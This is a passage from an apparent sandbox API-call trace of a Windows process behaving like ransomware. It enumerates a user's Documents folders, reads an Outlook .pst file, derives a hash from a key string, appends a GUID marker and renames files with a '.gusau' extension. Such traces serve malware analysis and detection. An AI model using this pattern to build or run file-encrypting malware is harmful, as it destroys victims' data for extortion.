hHeap=0xd10000, dwFlags=0x0, lpMem=0x39419a0 | out: hHeap=0xd10000) returned 1 [0117.960] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x39419a0 [0117.960] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0117.960] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.960] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39419a0 | out: hHeap=0xd10000) returned 1 [0117.960] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x39419a0 [0117.960] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.960] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.960] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39419a0 | out: hHeap=0xd10000) returned 1 [0117.960] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x39419a0 [0117.960] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.960] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.960] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39419a0 | out: hHeap=0xd10000) returned 1 [0117.960] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x39419a0 [0117.960] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.960] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.960] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39419a0 | out: hHeap=0xd10000) returned 1 [0117.960] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x39419a0 [0117.960] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.960] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.960] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39419a0 | out: hHeap=0xd10000) returned 1 [0117.960] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x39419a0 [0117.960] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.960] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.960] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39419a0 | out: hHeap=0xd10000) returned 1 [0117.960] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x39419a0 [0117.960] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music\\") returned="My Music\\" [0117.960] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0117.960] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb268 [0117.960] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39419a0 | out: hHeap=0xd10000) returned 1 [0117.960] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0117.960] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x40) returned 0x3960e28 [0117.961] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb268 | out: hHeap=0xd10000) returned 1 [0117.961] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0117.961] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398ebf8 [0117.961] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0117.961] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0117.961] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3960e28 | out: hHeap=0xd10000) returned 1 [0117.961] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0117.961] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0117.961] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0117.961] PathFindFileNameW (pszPath="") returned="" [0117.961] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x39419a0 [0117.961] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music\\*", lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb646480, ftCreationTime.dwHighDateTime=0x1d4c7ff, ftLastAccessTime.dwLowDateTime=0x5cd1fbf0, ftLastAccessTime.dwHighDateTime=0x1d4d44e, ftLastWriteTime.dwLowDateTime=0x5cd1fbf0, ftLastWriteTime.dwHighDateTime=0x1d4d44e, nFileSizeHigh=0x0, nFileSizeLow=0x683e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pelEM3i4e4Jx_4 Wkx.pdf", cAlternateFileName="PELEM3~1.PDF")) returned 0xffffffff [0117.961] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39419a0 | out: hHeap=0xd10000) returned 1 [0117.961] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398ebf8 | out: hHeap=0xd10000) returned 1 [0117.961] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941658 | out: hHeap=0xd10000) returned 1 [0117.961] PeekMessageW (in: lpMsg=0x405ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405ff08) returned 0 [0117.961] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941658 [0117.961] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0117.961] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x39419a0 [0117.961] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.961] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.961] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39419a0 | out: hHeap=0xd10000) returned 1 [0117.961] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x39419a0 [0117.961] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.961] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.961] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39419a0 | out: hHeap=0xd10000) returned 1 [0117.961] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x39419a0 [0117.961] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.962] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.962] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39419a0 | out: hHeap=0xd10000) returned 1 [0117.962] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x39419a0 [0117.962] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.962] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.962] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39419a0 | out: hHeap=0xd10000) returned 1 [0117.962] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x39419a0 [0117.962] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.962] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.962] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures\\") returned="My Pictures\\" [0117.962] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0117.962] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0117.962] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0117.962] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0117.962] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0117.962] PathFindFileNameW (pszPath="") returned="" [0117.962] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures\\*", lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb646480, ftCreationTime.dwHighDateTime=0x1d4c7ff, ftLastAccessTime.dwLowDateTime=0x5cd1fbf0, ftLastAccessTime.dwHighDateTime=0x1d4d44e, ftLastWriteTime.dwLowDateTime=0x5cd1fbf0, ftLastWriteTime.dwHighDateTime=0x1d4d44e, nFileSizeHigh=0x0, nFileSizeLow=0x683e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pelEM3i4e4Jx_4 Wkx.pdf", cAlternateFileName="PELEM3~1.PDF")) returned 0xffffffff [0117.962] PeekMessageW (in: lpMsg=0x405ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405ff08) returned 0 [0117.962] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0117.963] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\") returned="My Shapes\\" [0117.963] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0117.963] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0117.963] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0117.963] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0117.963] PathFindFileNameW (pszPath="") returned="" [0117.963] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\*", lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x9e9e4460, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x39836e0 [0117.963] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x9e9e4460, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0117.963] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebf97a0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0xd8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0117.963] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\desktop.ini") returned=".ini" [0117.963] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9e9e4460, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9e9e4460, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9e9e4460, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Favorites.vss", cAlternateFileName="FAVORI~1.VSS")) returned 1 [0117.963] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\Favorites.vss") returned=".vss" [0117.963] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\Favorites.vss" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\my shapes\\favorites.vss"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0117.964] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=0) returned 1 [0117.965] CloseHandle (hObject=0x610) returned 1 [0117.965] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\Favorites.vss" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\my shapes\\favorites.vss"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\Favorites.vss.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\my shapes\\favorites.vss.gusau")) returned 1 [0117.965] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_private", cAlternateFileName="")) returned 1 [0117.965] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_private", cAlternateFileName="")) returned 0 [0117.965] FindClose (in: hFindFile=0x39836e0 | out: hFindFile=0x39836e0) returned 1 [0117.965] PeekMessageW (in: lpMsg=0x405ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405ff08) returned 0 [0117.965] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0117.966] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos\\") returned="My Videos\\" [0117.966] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0117.966] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0117.966] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0117.966] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0117.966] PathFindFileNameW (pszPath="") returned="" [0117.966] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos\\*", lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_private", cAlternateFileName="")) returned 0xffffffff [0117.966] PeekMessageW (in: lpMsg=0x405ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405ff08) returned 0 [0117.966] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0117.966] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\") returned="Outlook Files\\" [0117.966] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0117.966] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0117.966] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0117.966] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0117.966] PathFindFileNameW (pszPath="") returned="" [0117.966] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\*", lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a7a9f80, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x5c4f8e60, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x5c4f8e60, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x39836e0 [0117.966] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a7a9f80, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x5c4f8e60, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x5c4f8e60, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0117.967] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5a868660, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x5a868660, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x6228cf40, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x42400, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="voeimd@djhreuu.uhd.pst", cAlternateFileName="VOEIMD~1.PST")) returned 1 [0117.967] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\voeimd@djhreuu.uhd.pst") returned=".pst" [0117.967] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\voeimd@djhreuu.uhd.pst" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\outlook files\\voeimd@djhreuu.uhd.pst"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0117.967] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=271360) returned 1 [0117.967] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0117.970] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x423da, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.970] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0117.970] SetFilePointer (in: hFile=0x610, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0117.971] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0x25805, lpOverlapped=0x0) returned 1 [0117.973] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.973] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.973] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.973] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf08b0) returned 1 [0117.974] CryptCreateHash (in: hProv=0xdf08b0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0117.974] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0117.974] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0117.974] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0117.974] GetLastError () returned 0x0 [0117.974] CryptDestroyHash (hHash=0x3983720) returned 1 [0117.974] CryptReleaseContext (hProv=0xdf08b0, dwFlags=0x0) returned 1 [0117.975] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x42400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.154] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0118.154] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0118.154] CloseHandle (hObject=0x610) returned 1 [0118.157] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x3974060 [0118.157] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x8b0) returned 0x39f5430 [0118.157] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3974060 | out: hHeap=0xd10000) returned 1 [0118.157] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\voeimd@djhreuu.uhd.pst" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\outlook files\\voeimd@djhreuu.uhd.pst"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\voeimd@djhreuu.uhd.pst.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\outlook files\\voeimd@djhreuu.uhd.pst.gusau")) returned 1 [0118.159] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5430 | out: hHeap=0xd10000) returned 1 [0118.159] VirtualFree (lpAddress=0xf30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0118.160] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3932798 | out: hHeap=0xd10000) returned 1 [0118.160] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5a868660, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x5a868660, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x6228cf40, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x42400, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="voeimd@djhreuu.uhd.pst", cAlternateFileName="VOEIMD~1.PST")) returned 0 [0118.160] FindClose (in: hFindFile=0x39836e0 | out: hFindFile=0x39836e0) returned 1 [0118.160] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398ebf8 | out: hHeap=0xd10000) returned 1 [0118.160] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941658 | out: hHeap=0xd10000) returned 1 [0118.160] PeekMessageW (in: lpMsg=0x405ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405ff08) returned 0 [0118.160] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb268 [0118.160] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0118.160] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0118.160] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.160] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.160] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0118.160] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0118.160] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.160] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.160] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0118.160] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0118.160] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.160] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.160] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0118.160] RtlAllocateHeap 